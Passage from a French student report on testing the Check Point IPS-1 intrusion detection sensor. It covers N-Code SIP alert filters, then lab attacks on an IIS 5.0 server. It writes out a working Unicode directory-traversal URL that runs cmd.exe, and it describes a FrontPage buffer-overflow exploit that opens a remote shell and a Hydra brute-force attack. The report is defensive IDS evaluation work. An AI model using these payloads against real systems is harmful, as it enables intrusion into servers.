alert_source session_src
{
shortname = SessionSIP ;
longname = "SIP Session Backend" ;
groups = sip :_group all ;
}
Etape 3 :
Cette étape consiste à définir les blocs alerts qui définissent le nom des différentes alertes qui
seront utilisées en tant qu’identificateur de la fonction alert(). Comme précisé ci-dessus, le but
du backend est de fournir deux types d’alertes. Ainsi deux blocs alertes seront crées dans ce
fichier. Le premier bloc définit les paramètres pour détecter un établissement de la session sip
et le deuxième bloc, pour détecter la fin d’une session sip. Avant de définir les paramètres de
chaque bloc, il est obligatoire de déterminer l’identifiant de chaque bloc comme suit :
– Premier bloc
alert detection_session_setup_alert
{...}
– Deuxième bloc
alert detection_session_terminate_alert
{...}
Ensuite il s’agira pour chaque bloc de définir les valeurs de leurs paramètres. En se référant au
chapitre précédant les paramètres qui peuvent être définis dans les blocs alerts sont :
shortname : le shortname des deux blocs alert sont respectivement
sip session : detection session setup alert et sip session : detection session terminate alert
longname : comme précisé dans le chapitre précédent le bloc sert à fournir plus de détail sur
le nom de l’alerte. Dans le premier bloc d’alerte la valeur du paramètre longname est Detection
d’une Session SIP et celle du deuxième bloc est Detection d’une terminaison de Session SIP.
severity : ce paramètre indique le niveau de l’alerte. Dans nos deux blocs alert, la valeur de ce
paramètre vaut SEV INFO. Car les alertes émises ne sont pas des attaques, mais simplement
une information sur une session sip.
format : ce paramètre donne des informations supplémentaire sur l’alerte. Sa valeur contient
les paramètres suivants : $1, $2, $3 qui sont les paramètres de la fonction alert () définie dans
le fichier N-Code.
groups : le groupe auquel appartient cette alerte est : sip : group all sev warning group.
– Premier bloc
alert detection_session_setup_alert
{
shortname = sip_session : detection_session_setup_alert ;
longname = "Detection d’une Session SIP" ;
4. Tutorial du langage N-Code : Ecriture des filtres 53
severity = SEV_INFO ;
format = "$1->$2 $3 : Detection SIP Session" ;
groups = sip :_group all sev_warning_group ;
}
– Deuxième bloc
alert detection_session_terminate_alert
{
shortname = sip_session : detection_session_terminate_alert ;
longname = "Detection d’une terminaison de Session SIP" ;
severity = SEV_INFO ;
format = "$1->$2 $3 : Detection SIP Session Terminating" ;
groups = sip :_group all sev_warning_group ;
}
<HTML>
<BODY>
<H1> Overview</H1>
<P>
Une session SIP est initialisée lors de
l’acception d’une requ^
ete INVITE utilisé
pour initier une communication. A chaque
initialisation d’une session sip, une alerte
doit etre emise, de meme qu’a la fin d’une
session sip.
</P>
</BODY>
</HTML>
La première étape consiste à définir les caractéristiques du backend à savoir le titre, la version,
l’état, l’ID du backend, le nombre de colonnes et le gui :
title : Le titre donné à notre backend est session.
version : la version est une valeur entière au début elle vaut 1 mais à chaque modification
apportée au backend sa valeur doit être incrémentée de 1.
disposition : ce paramètre représente l’état backend. Nous activons le backend en lui donnant
la valeur Enable.
gui : l’affichage des données sera sous forme de liste. Ainsi la valeur de ce paramètre est list.
num_columns : la valeur de ce paramètre vaut 8 et détermine le nombre de colonne à afficher sur
la liste ci-dessus. Chaque colonne contiendra une information utile sur le paquet ayant provoqué
l’alerte.
backend_id : ce paramètre est l’identificateur du backend. Il est formé à partir de l’identificateur
du package associé au backend. En effet l’ID du package sip est NID-099 et l’ID du backend
session est : NID-099-005.
title=session
version=1
disposition=Enable
gui=list
num_columns=8
backend_id = NID-099-005
Etape 2
La deuxième étape consite à définir les caractéristiques pour chacun des huit colonnes défi-
nies dans l’étape précédant. Pour chaque colonne il s’agira de déterminer le type primaire
(column x type) des données stockées dans la colonne, le nom identifiant la colonne (co-
lumn x label).
column_1_type=p_src_ip
column_1_label=Source Address
column_1_attr=IP_ADDR_SRC
column_2_type=p_dst_ip
column_2_label=Destination Address
column_2_attr=IP_ADDR_DST
4. Tutorial du langage N-Code : Ecriture des filtres 55
column_3_type=p_string
column_3_label=IP Protocol
column_3_attr=IP_PROTO_NAME
column_4_type=p_string
column_4_label=Command
column_4_attr=COMMAND
column_5_type=p_string
column_5_label=Sender
column_5_attr=EMAIL_SENDER
column_6_type=p_string
column_6_label=Recepient
column_6_attr=EMAIL_RECIPIENT
column_7_type=p_string
column_7_label=Call-ID
column_7_attr=BANNER
column_8_type=p_string
column_8_label=Additional Information
column_8_attr=ADDL_INFO
Etape 1 :
Dans tout fichier N-Code il faut commencer par définir le schéma et l’enregistreur des don-
nées. Le schéma est déterminé en fonction des colonnes définies dans le fichier de configuration
(session.cfg). Dans la déclaration du schéma, la fonction library schema new() comporte 8
paramètres correspondants aux 8 colonnes définies dans fichier cfg. Ces paramètres respectent le
type Representation. Cette fonction contient également comme argument la fonction scope() qui
renvoie le nom du backend dans lequel le fichier N-code appartient. La déclaration de schéma se
suit de la déclaration de l’enregistreur permettant de stocker toutes ces informations pour une
récupération postérieure. Ceci s’effectue en utilisant la fonction recoder() qui contient deux
arguments.
Etape 2 :
Cette deuxième étape consiste précisemment à l’écriture des règles pour la détection de l’éta-
blissement et de la terminaison d’une session sip.
Pour cela il faut définir en premier la condition nécessaire pour que l’alerte soit émise. On dit
qu’il y a établissement d’une session sip, lorsqu’à la suite du message sip INVITE l’appelant
envoie un message d’acquittement (ACK).
Le champ d’en-tête Call-ID permet d’identifier un appel. Ainsi pour chaque message INVITE
circulant sur le réseau, toutes les valeurs des champs d’en-tête CALL-ID seront stockés dans un
tableau appelé $invite seen. Notons qu’un parseur est effectué dans le fichier sip.nfr permettant
de récupérer chaque champ d’en-tête d’un message sip.
Nous notons que les fonctions ci dessous permettent de récupérer respectivement la méthode
du message sip et la valeur du CALL-ID identifiant l’appel.
Pour déterminer qu’il y a établissement de session sip, il s’agira de détecter si un paquet conte-
nant la méthode ACK circule dans le réseau et possède le même CALL-ID qu’un message
INVITE. Ceci se fera en vérifiant que la valeur du CALL-ID du message d’acquittement existe
dans le tableau $invite seen. Mais avant de vérifier cette condition il s’assurait que la règle est ac-
tivée. Pour cela la variable de configuration ALERT ON DETECTION SIP SESSION SETUP
doit être différente de zéro.
Une fois ces conditions vérifiées, la fonction alert() peut être appelée permettant d’émettre une
alerte vers l’IPS-1 Management Dashboard. Cette fonction alerte est ainsi écrite :
4. Tutorial du langage N-Code : Ecriture des filtres 57
alert(session_src, detection_session_setup_alert,
$src, $dst, $proto,
"--AlertDetails",
"ALERT_ID","33-14", "ALERT_CONFIDENCE",90,
"ALERT_SEVERITY","unknown", "ALERT_IMPACT","unknown",
"ALERT_EVENT_TYPE","unknown", "ALERT_ASSESSMENT","unknown",
"CONTEXT",attack :context(detection_session_setup_alert),
"METHOD",_ :METHOD[_ :KEY], "URI",_ :URI[_ :KEY],
"IP_PROTO_NUM",_ :IP_PROTO[$proto],
"IP_ADDR_SRC",$src,"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,"PORT_DST",$dport) ;
– session src : ce paramètre a été défini dans le fichier session.acf. Il représente l’alerte source
– detection session setup alert : celui-ci est également défini dans le fichier session.acf. Il
représente le nom donné à l’alerte.
– $src, $dst, $proto : ces paramètres déterminent les adresses source et destination et le
protocole utilisé.
Le reste des paramètres serviront à remplir l’interface graphique AlertDetails obtenu en double
cliquant sur l’alerte depuis l’IPS-1 Management Dashboard. Se référer à la section 3.6 du chapitre
3 pour la signification de chaque paramètre.
Pour détecter la terminaison d’une session sip, la même structure que précédemment sera utilisé.
Il s’agira de spécifier les conditions nécessaires pour la détection de l’évènement (fin session sip)
puis de définir la fonction alert().
"IP_PROTO_NUM",_ :IP_PROTO[$proto],
"IP_ADDR_SRC",$src,"IP_ADDR_DST",$dst,
"PORT_SRC",$sport,"PORT_DST",$dport) ;
$invite_seen[$cid] = NULL ;
Le document Customizing NFR Sentivist Using N-Code mentionne l’existence d’un environne-
ment de développement spécialement créé pour aider au developpement des packages et ba-
ckends. Il permet essentiellement de tester la syntaxe et de corriger d’éventuelles erreurs avant
d’implémenter un nouveau filtre sur la sonde IPS-1. Cet outil nommé N-Code Developpement
Environnement (NDE), s’installe sur la machine de developpement et ne necessite aucun lien
avec une sonde réelle. Il se compose des éléments suivants :
– le N–Code Compiler (NCC)
– le N–Code Virtual Machine (NVM)
En effet voici un des passages du document :
NCC is used to syntax check packages and backends. You do not need to
compile packages and backends before releasing them into production ;
Sentivist Sensor will compile them automatically before running them.
However, packages with syntax errors are thrown off Sentivist Sensor.
You should use NVM to test packages and backends to ensure that they
perform as designed before installing them in a production environment.
Le NCC
Le passage ci-dessus mentionne quelques points très interessants au sujet du NDE et par la
même occasion sur le fonctionnement du N-Code. En effet le NCC n’est pas un compilateur
car le N-Code n’a pas besoin d’être compilé sur la machine de développement avant d’être
envoyé sur la sonde. Cependant un fichier N-Code n’est pas non plus un script et c’est toute
la particularité du système IPS-1 : c’est la sonde elle même qui compile les filtres avant de les
mettre en service.
Le NCC est donc un analyseur syntaxique. Il met en évidence toutes les erreurs qu’il rencontre
grâce à divers messages qu’il renvoie sur le terminal.
La NVM
La NVM est une machine virtuelle qui se comporte comme une sonde et qui permet de tester le
fonctionnement d’un filtre en développement. En fournissant à cette NVM des flux ethereal pré-
enregistrés (fichier PCAP), il est possible de reconstituer le comportement d’un réseau complet
5. Résultat des tests des filtres développés 60
en simulant du trafic. C’est donc un outil extrêmement interessant car il permet de mettre au
point des filtres sans perturber un système en fonctionnement. Par exemple, dans le cadre d’une
utilisation en entreprise, ce système évite de suspendre l’activité d’une sonde durant les tests.
Il est à noter que l’utilisation du NDE n’est pas une étape obligatoire. En effet, si le developpeur
est persuadé du bon fonctionnement de ses filtres, ces derniers peuvent être envoyés directement
sur la sonde. Cependant, une des section ci-dessous va montrer que le debuggage à distance est
possible mais très laborieux.
A la place du NDE tel qu’il est décrit précédemment et dans Customizing NFR Sentivist Using
N-Code, la societé Check Point, a livré un executable nommé cli-nfrd 5.0.4.0. Lors d’un entre-
tien téléphonique, M. ossio de Check Point nous a précisé que l’exécutable doit impérativement
être installé sur une machine FreeBSD version 4. Cette ancienne version de FreeBSD est difficile
à retrouver car actuellement FreeBSD est à la version 7.
L’exécutable cli-nfrd 5.0.4.0 a un comportement similaire au NDE mais beaucoup plus li-
mité. En effet, les commandes indiquées dans Customizing NFR Sentivist Using N-Code ne
fonctionnent pas avec l’outil mis à disposition et l’absence de toute autre documentation à
rendu son utilisation très délicate. En effet, le résultat du test du filtre en développement fourni
un message d’erreur incompréhensible. Malgré l’aide de M. Chanez de la société e-Xpert solu-
tion, nous n’avons pas pu apporter une solution à notre problème. De plus, M. Ossio est resté
injoingnable durant cette période de mise en place.
Au final, l’exécutable cli-nfrd 5.0.4.0 s’est avéré être inutilisable et pour ne pas perdre plus
de temps la décision a été prise mettre de côté cette étape de vérification de syntaxe.
En l’absence du NDE, le backend session développé dans le cadre du travail de diplôme est
directement inséré sur la sonde (sans analyse synthaxique ni test fonctionnel préalable). Pour
cela les étapes ci-dessous ont été effectuées :
Après ces étapes, lorsqu’on ouvre la fenête x on constate que le backend session est bien présent
dans le package sip (voir figure ci-dessous).
5. Résultat des tests des filtres développés 61
La sonde a bien détecté les fichiers mais un message indique que quatre warning ont été générés
lors de la compilation. Aucune autre information n’est disponible ce qui rend donc la correction
du code trés difficile. Nous voyons ici que le débbugage à distance n’est chose aisé et que tout
l’uttilité du NDE apparait alors.
Après quelques tests, le filtre ne semble pas fonctionner car aucune alerte n’est émise lors de
l’établissement d’une session sip. Ce qui se cache derrière les quatres warning en est surement
la cause, mais il n’est malheureusement pas possible d’aller plus loin, raison pour laquelle le
développement du filtre session a été suspendu ainsi que les autres qui étaient prévus (RTP,
détection d’un seuil de flux RTP). Cependant le mécanisme de développement a été compris et
maitrisé et se résume comme suit :
L’IPS-1 fonctionne selon plusieurs modes dont celui d’un système de détection d’intrusion. En
effet, il a la capacité d’analyser le trafic d’un réseau et d’émettre des alertes lors d’une détection
d’intrusion.
Au cours du travail de semestre (chapitre 3) et de ce projet (chapitre 2), quelques tests pratiques
ont été effectués, avec des téléphones cisco et des softphones, pour tester les filtres de l’IPS-1
lié à la VoIP. Ces tests ont conclu que ces filtres fonctionnent correctement. Cependant ces
régles de filtrage ne permettent pas de détecter les attaques les plus courants : denis de service,
écoute clandestine, usurpation d’identité... En effet la plupart des filtres de l’IPS-1 contrôlent
la conformité des paquets sip selon les RFC sip.
La particularité de cette IDS, est l’écriture de ces règles en un langage appelé N-Code et
l’utilisation d’un NDE1 pour tester le fonctionnement du filtre développé avant l’importation
de celui-ci sur la sonde. Malheureusement, le développement des filtres a été suspendu à cause
de l’absence du NDE car sans ce celui-ci, le travail devient laborieux.
Ainsi suite à l’impossibilité d’obtenir le NDE de Check Point malgré les efforts répétés entrepris
par la société : e-Xpert Solutions SA, le cahier de charge a été modifié où il s’agira :
1. de provoquer des attaques web de type buffer overflow, Directory Traversal, Force Brute
... sur un serveur web.
2. de permettre à l’utilisateur de reconnaı̂tre ces différentes attaques.
3. d’évaluer les performances de l’IPS-1 face ces attaques.
1
Environnement de développement
TDD
Travail de diplôme
Suite à l’impossibilité d’obtenir le compilateur N-Code de Check Point malgré les efforts répétés
entrepris par la société : e-Xpert Solutions SA nous proposons de modifier le travail de diplôme de la
manière suivante :
Interrompre les activités suivantes prévues par le cahier de charge du diplôme :
– Associer tous les messages SIP appartenant à la même communication de manière à mettre en
évidence une communication SIP.
– Développer de nouvelles règles VoIP en utilisant le langage N-code pour pallier les lacunes du produit
existant.
– Tester ces nouvelles règles.
– Développer si le temps le permet un laboratoire IDS/VoIP qui devra aussi servir de laboratoire pour
le futur cours de sécurité VoIP
Poursuivre l’étude et déploiement de Check Point (IPS-1) dans un but de sécurisation d’applicatifs
web contre des attaques de type Buffer Overflow, Directory Traversal, Injection SQL etc.. L’objectif de
cet amendement est de permettre à l’utilisateur de reconnaı̂tre les différentes attaques citées ci-dessus
et d’évaluer les performances de l’IPS-1 face à ces mêmes attaques. En effet il s’agira :
– De montrer la réussite des attaques.
– D’étudier les différentes types d’alertes émises par la sonde.
– De mettre en place un mécanisme d’agrégation permettant de trouver une relation entre les alertes
émises et les attaques déployées dans le but d’éliminer les faux positifs générés par la sonde.
Table des matières
Introduction 5
Contexte et aperçus des activités . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Organisation du document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1 Buffer Overflow 7
1.1 Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.1 Attaque buffer overflow sur le serveur web . . . . . . . . . . . . . . . . . . . . . 7
1.1.2 Désactivation de FrontPage 2000 Server Extension . . . . . . . . . . . . . . . . 12
1.1.3 Attaque buffer overflow via le protocole HTTPS . . . . . . . . . . . . . . . . . 16
1.2 Synthèse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2 Directory Traversal 20
2.1 Les Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.1 Attaque HTTP directory traversal . . . . . . . . . . . . . . . . . . . . . . . . . 20
2.1.2 Attaque HTTPS directory traversal . . . . . . . . . . . . . . . . . . . . . . . . 22
2.1.3 Attaque FTP directory traversal . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.2 Synthèse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
3 Force Brute 24
3.1 Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
3.1.1 Attaque Force Brute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
3.1.2 Tentative d’attaque Force Brute . . . . . . . . . . . . . . . . . . . . . . . . . . 30
3.2 Synthèse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
5 Conclusion 45
Remerciements 46
Bibliographie 47
A Programmes et code 48
Table des matières 4
B Outils utilisés 57
C Journal de travail 62
Introduction
Internet Information Services, communément appelé IIS, est le logiciel serveur Web intégré à windows
2000. Son rôle est de réaliser un serveur accessible via le réseau Internet/Intranet. IIS fait partie des
serveurs Web les plus difficiles à sécuriser, donc devient la cible privilégiée des attaques. En effet de
nombreuses vulnérabilités ont été découvertes dans le serveur Microsoft IIS version 5.0 dont :
– les vulnérabilités de type débordement de tampon.
– les vulnérabilités permettant à l’utilisateur de sortir de l’arborescence Web et de remonter vers les
autres répertoires du système de fichiers (directory traversal).
– les vulnérabilités permettant de contourner la politique d’authentification en utilisant l’authentifi-
cation par force brute.
Les conséquences de ces attaques peuvent être la divulgation d’informations importantes, l’accès au
code source des scripts ou au contenu des fichiers, l’exécution de commandes sur le serveur, ou même
l’accés à un compte privilégié (SYSTEM sous windows 2000).
Ces failles seront exploitées en provoquant des attaques en vue d’effectuer une étude approfondie du
comportement de la sonde IPS-1 Sensor.
Pour réaliser ces attaques un serveur windows 2000 comportant un serveur IIS version 5.0 a été rajouté
à notre réseau de tests.
Organisation du document
Le débordement de tampon (Buffer Overflow) est une des attaques web les plus connues et représente
la moitié des vulnérabilités découvertes[7]. Il se produit lorsqu’on place dans un espace mémoire plus
de données qu’il ne peut en contenir.
L’existence d’une vulnérabilité dans la gestion de mémoire d’une DLL du composant FrontPage 2000
Server Extensions du serveur IIS 5.0, est une porte ouverte aux attaquants. Une limitation de la
mémoire de la fp30reg.dll engendre un buffer overflow permettant à un utilisateur distant, non
authentifié, d’exécuter du code arbitraire sur la machine cible. Pour allouer l’espace mémoire nécessaire,
cette dll se base sur la valeur du champ d’en-tête content-length définissant la taille du message.
Cependant, une requête HTTP utilisant l’encodage de transfert chunked ne possède pas de valeur pour
ce champ. En effet, la taille totale du paquet n’est pas connue d’avance car les messages sont transferés
en série de fragments. Ainsi, aucun contrôle n’est effectué et la fp30reg.dll accepte aveuglement tout
ce qui lui ait fourni. Si la taille totale des fragments dépasse la taille de la mémoire allouée de ce dll,
ceci provoque un buffer overflow.
Pour exploiter cette attaque, un programme en C (CAN-2003-0822.c) sera exécuté provoquant un dé-
bordement de tampon en injectant en mémoire un shellcode. L’exécution du shellcode par le processeur
permet d’ouvrir un serveur Telnet sur le port 99991 donnant la possibilité à l’attaquant d’exécuter
toutes sortes de commandes sur le système distant (serveur IIS).
Au cours de ce chapitre seront effectués plusieurs tests dans le but de provoquer une attaque de type
buffer overflow sur le serveur IIS. Ces tests permettront d’évaluer le comportement de la sonde IPS-1
Sensor face à ces différentes attaques et en vue d’évaluer la performance de cette sonde.
1.1 Tests
Principe
Le principe de l’attaque est de réaliser un buffer overflow sur un serveur web IIS en exécutant le
programme CAN-2003-0822.c (voir annexe A). A l’exécution de ce programme, une requête HTTP
POST est envoyée au serveur avec l’encodage de transfert chunked. Pour entrainer un dépassement de
tampon de la dll fp30reg.dll, la requête est directement envoyé à FrontPage Server Extensions.
A la suite de l’attaque il sera question d’effectuer une étude sur le comportement de la sonde.
1
port choisi arbitrairement mais n’importe quel autre port peut être utilisé
1. Buffer Overflow 8
Mise en oeuvre
Le port 9999 choisi pour profiter de la vulnérabilité de la dll est pour le moment bien fermé.
Etape 2 : Exécution de CAN-2003-0822.c
Il s’agit d’exécuter le programme C pour provoquer l’attaque.
En parallèle, le réseau est sniffé montrant le trafic suivant :
1. La machine attaquante (192.168.0.6) envoie une requête HTTP de type POST vers la cible
(192.168.0.5)
2. La machine cible (serveur IIS) envoie une réponse de type 100 Continue pour confimer la
réception de la demande
1. Buffer Overflow 9
Fig. 1.2: Envoi d’une requête vers le serveur IIS et réponse du Serveur
Résultat
A la suite de l’attaque, un scan est effectué avec Nmap pour détecter les ports ouverts de la machine
cible. Le résultat du scan montre l’ouverture du port 9999 indiquant la réussite de l’attaque.
Fig. 1.3: Ouverture du port 9999 montrant la réussite de l’attaque Buffer overflow
En effet, lors de la réussite de l’attaque un shellcode est exécuté en mémoire, ouvre un serveur telnet
et donne la possibilité à tout utilisateur de se connecter sur ce port et d’exécuter des commandes
sur la machine cible. Sur le graphe ci-dessous sont listées les données du répertoire SYSTEM par la
commande “dir”.
1. Buffer Overflow 10
Fig. 1.4: Connexion à distance sur la machine cible et exécution de la commande dir
Comportement de la sonde
L’IPS-1 Sensor, chargé de contrôler le réseau, émet vers l’IPS-1 management Dashboard quatres alertes
différentes :
2
Synthèse réalisée grâce au fichier descriptif des différentes alertes
1. Buffer Overflow 11
Principe
1. La sonde déclenche-t-elle des alertes uniquement lorsqu’une attaque buffer overflow a abouti ?
2. La sonde déclenche-t-elle des alertes dès qu’il y a tentative d’attaque buffer overflow même si
celle-ci se résume par un échec ?
Pour clarifier cette situation le composant vulnérable FrontPage 2000 Server Extension est désactivé
bloquant toute attaque buffer overflow sur le serveur IIS.
Mise en oeuvre
Fig. 1.9: Envoi d’une requête vers le serveur IIS et réponse du Serveur
Résultat
Après l’attaque un scan est effectué de nouveau. Comme attendu l’attaque buffer overflow a échoué
car le port 9999 choisi pour profiter de la vulnérabilité de la dll fp30reg.dll, afin d’accéder à la machine
cible est bien fermé. Ainsi il est impossible d’accéder aux répertoires de la machine cible windows
seveur 2000.
1. Buffer Overflow 15
Comportement de la sonde
Bien que l’attaque buffer overflow n’ait pas abouti, l’IPS-1 Sensor a tout de même émis les mêmes
quatres alertes qu’au test précédent :
Fig. 1.11: Alertes émises lors d’une tentative d’attaque buffer overflow non aboutie
1. Buffer Overflow 16
Principe
Le protocole HTTPS permet également de transmettre des données du client vers le serveur en garan-
tissant le confidentialité et l’intégrité des données envoyées. L’exploit (CAN-2003-0822.c) sera modifié
afin que ce dernier dirige l’attaque vers un des ports ouverts et non vulnérable de la cible par exemple
le port 443. L’idée de cette attaque est d’étudier plus en détail le comportement de la sonde :
1. La présence d’un shellcode dans un paquet circulant sur le réseau suffit-il pour engendrer des
alertes quelque soit le port de destination (vulnérable ou non vulnérable) ?
Mise en oeuvre
Après compilation et exécution du code C nous observons que le paquet provoquant l’attaque buffer
overflow a été transmis au serveur IIS via port 443 :
Fig. 1.13: Envoi d’un paquet provoquant une attaque buffer overflow vers le serveur IIS par SSL
Résultat
A la suite de l’attaque un scan est effectué sur la machine cible. Comme le montre le schéma ci-dessous
le port 9999 permettant de prendre le contrôle de la machine cible n’est pas ouvert. Ce qui permet de
déduire que l’attaque buffer overflow a échoué.
1. Buffer Overflow 18
Comportement de la sonde
Lors de la tentative de cette attaque la sonde n’émet aucune alerte.
1.2 Synthèse
Suite à l’analyse précédente, on constate que l’IPS-1 Sensor émet quatres alertes différentes dès qu’une
tentative d’attaque de type buffer overflow est détectée, que celle-ci soit réussi est non. Nous en
1. Buffer Overflow 19
déduisons que la sonde ne se base pas sur le résultat de l’attaque mais plutôt sur la structure des
paquets circulant dans le réseau.
Un des points frappant dans les descriptions des alertes est l’utilisation systèmatique des mots pro-
bably, possibly, may be... pour indiquer qu’il peut avoir une possibilité d’attaque sans pour autant
l’affirmer. Voici quelques exemples :
Le test de la section 1.1.3 apporte quelques précisions sur le mode de fonctionnement de la sonde.
Avant de s’intéresser à la structure des paquets circulant sur le réseau, la sonde contrôle le port de
destination du paquet. Si ce dernier est un port vulnérable alors la sonde s’intéresse à la composition
du paquet. Dans le cas contraire aucun contrôle n’est effectué. En effet, lors de la présence de shellcode
dans le paquet dirigé vers le port 443 (section 1.1.3) aucune alerte n’est émise car ce port n’est pas
vulnérable tandis que lorsque ce même paquet est dirigé vers le port vulnérable 80 (sections 1.1.2 et
1.1.3 ) une alerte est émise indiquant la présence d’un shellcode.
Suite aux tests effectués, il est impossible de différencier le cas où l’attaque buffer overflow a réussi
du cas où il s’agit uniquement d’une tentative d’attaque. Ce qui risque d’engendrer beaucoup de faux
positifs. Pour améliorer la performance de la sonde, il serait judicieux de développer des filtres N-Code
permettant de contrôler les signatures des paquets de retour de la même manière que pour l’attaque.
Une autre idée d’amélioration est d’émettre des alertes lorsqu’on détecte une ouverture de connexion
Telnet après une attaque buffer overflow. Par exemple, après détection de dépassement de tampon,
si une session Telnet est créé sur la machine cible par l’envoi du flag SYN/ACK par le serveur cela
est probablement dû à une attaque buffer overflow car l’attaquant tente de prendre le contrôle de la
machine cible.
2
Directory Traversal
Une des vulnérabilité les plus critiques pour IIS 5 rendues publiques dans la première moitié de l’année
2001 concernait les problèmes de violation de répertoire appelé directory Traversal. Une mauvaise
gestion de l’unicode dans le serveur IIS est exploitée pour effectuer une attaque de ce type. Ceci
s’effectue en envoyant une requête vers le serveur affecté avec le caractère “\” codé en unicode. La
conséquence de cette requête permet de traverser le répertoire actuel d’une application web et de
remonter vers les autres répertoires du système de fichiers. Cette attaque est généralement réalisée
via des URLs spécialement conçues dont nous verrons la forme dans les tests effectués ci-dessous. En
effet deux tests seront mis en place pour tester le comportement de la sonde face à l’attaque directory
traversal.
Principe
Le principe de cette attaque est d’exploiter la faille du serveur IIS en navigant sur le disque pour y
exécuter du code à distance. Cette attaque est réalisée en envoyant une requête http de type GET vers
le serveur web IIS qui permet la remontée jusqu’à l’éxécutable cmd.exe afin d’y exécuter la commande
DOS dir.
Mise en oeuvre
Pour accéder à l’interpréteur de commandes windows nous tapons dans la barre d’adresse l’URL
ci-dessous. Nous constatons que le caractère “\” est codé en unicode.
http ://192.168.0.5/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/
system32/cmd.exe ?/c+dir+c :\+/OG
Résultat
A la suite de l’exécution de l’URL ci-dessus une requête http directory traversal est transmit vers la
machine cible.
2. Directory Traversal 21
Fig. 2.1: Envoi d’une requête HTTP pour effectuer une attaque Directory Traversal
L’attaque directory traversal a réussi car un éxécutable cmd.exe est généré. L’ouverture de celui-ci
liste le contenu du répertoire racine C :\ qui en principe n’est accessible que par l’utilisateur root.
Fig. 2.2: Résultat de l’attaque directory traversal : affichage du contenu du répertoire racine
Comportement de la sonde
A la suite de l’attaque la sonde émet une alerte de priorité moyenne (Med) vers la console d’alertes
l’IPS-1 Management Dashboard comme mise en évidence sur le schéma ci-dessous :
Fig. 2.3: Déclenchement d’une alerte suite à une attaque Directory Traversal
Principe
Le principe de cette attaque est d’envoyer une requête vers le serveur web en utilisant le service https.
L’objectif de cette requête est d’atteindre l’interpréteur de commande windows (cmd.exe) afin d’y
exécuter la commande DIR.
Mise en oeuvre
Pour atteindre cmd.exe via le protocole https, il suffit juste de saisir l’URL ci-dessus en remplaçant
http par https dans un navigateur.
https ://192.168.0.5/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt
/system32/cmd.exe ?/c+dir+c :\+/OG
Résultat
A la suite de cette attaque et contrairement au test précedent le contenu du répertoire C :\ n’est pas
fourni. Ce qui confirme l’échec de l’attaque.
Comportement de la sonde
L’IPS-1 Sensor n’émet aucune alerte comme précédemment car le vers nimda utilise uniquement le
port 80 pour exploiter la faille Unicode Web Traversal exploit[10].
Fig. 2.4: Envoi d’une requête via le protocole HTTPS pour provoquer l’attaque Directory Traversal
Principe
Le principe de ce test est d’utiliser le service ftp pour naviguer sur le disque afin d’atteindre l’inter-
préteur de commande windows NT.
Mise en oeuvre
Pour atteindre cmd.exe via le protocole ftp, il suffit juste de saisir l’URL ci-dessous (remplaçement de
http par ftp) dans un navigateur.
ftp ://192.168.0.5/msadc/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt
/system32/cmd.exe ?/c+dir+c :\+/OG
2. Directory Traversal 23
Résultat
Comme précédemment l’attaque a échoué car le contenu du répertoire C :\ n’a pas été fourni.
Comportement de la sonde
Bien que l’attaque ait échouée, la sonde a émis quatres mêmes alertes de priorité moyenne (Med)
comme indiqué sur la figure suivante.
Fig. 2.5: Envoi d’une requête via le protocole FTP pour provoquer l’attaque Directory Traversal
2.2 Synthèse
Dans le cas d’une attaque HTTP Directory Traversal, la sonde détecte de manière fiable cette at-
taque. De plus aucun faux positifs n’accompagne l’alerte émise par l’IPS-1. En se référant au fichier
www2/iis.nfr du backend www2/iis où sont définis les règles nous constatons que la sonde possède une
base de signature pour chaque variante unicode lui permettant de détecter toute attaque provoquant
une remontée des rèpertoires (directory traversal).
Cependant en effectuant cette attaque via le protocole ftp la sonde émet des alertes bien que la
tentative d’intrusion a échouée. Ces alertes sont des faux positifs rien de réellement sérieux, juste une
mise en garde sur le fait que quelqu’un a lancé une attaque alors qu’en réalité tout est normal. Ce type
d’attaque ne permet pas de prendre le contrôle de la machine cible. Ainsi il serait difficile d’améliorer
davantage la fiabilité des règles associées au protocole ftp afin de garantir la réussite de l’attaque.
3
Force Brute
Une attaque par bruit de force est une méthode utilisée pour essayer de découvrir un mot de passe. Il
s’agit de tester, une à une, toutes les combinaisons possibles soit en combinant plusieurs caractères ou
soit en se basant sur un dictionnaire de mots de passe assez facile à découvrir. Cependant sur certain
système d’exploitation, le mécanisme d’authentification ne vérouille pas les comptes utilisateurs après
un nombre donné de tentatives d’authentification échouées (par exemple windows ne vérouille pas le
compte Administrateur). Ainsi un agresseur dispose de tout le temps nécessaire pour découvrir un
mot de passe. Le logiciel hydra est réputé comme meilleur outil pour effectuer une attaque de type
force brute et supporte de nombreux services d’authentification (ftp, http, pop3, ssh, telnet...). Tout
au long de ce chapitre cet outil sera utilisé pour mettre en place l’attaque force brute.
3.1 Tests
Principe
L’attaque est basée sur un dictionnaire de nom comportant un ensemble de mots d’utilisateurs dont
un nom d’utilisateur valide et un autre dictionnaire de mot de passe dont le mot de passe associé
au nom d’utilisateur valide. Il s’agit de tester, une à une, toutes les combinaisons possibles jusqu’à
détecter le mot de passe associé au nom d’utilisateur valide.
Mise en oeuvre
Cette attaque est effectuée grâce au logiciel hydra sous forme de live CD. Ne possédant pas de logiciel
printscreen, les captures ont été prises avec un appareil photo raison pour laquelle la qualité des images
laisse à désirer.
Etape 1 :
La première étape consiste à spécifier l’adresse IP de la cible et le protocole utilisé pour gérer le service.
Depuis l’onglet Target de l’interface graphique de hydra, nous sélectionnons l’option Single Target
car nous disposons d’une seule cible qui est le serveur IIS. Dans la case correspondante à cette option
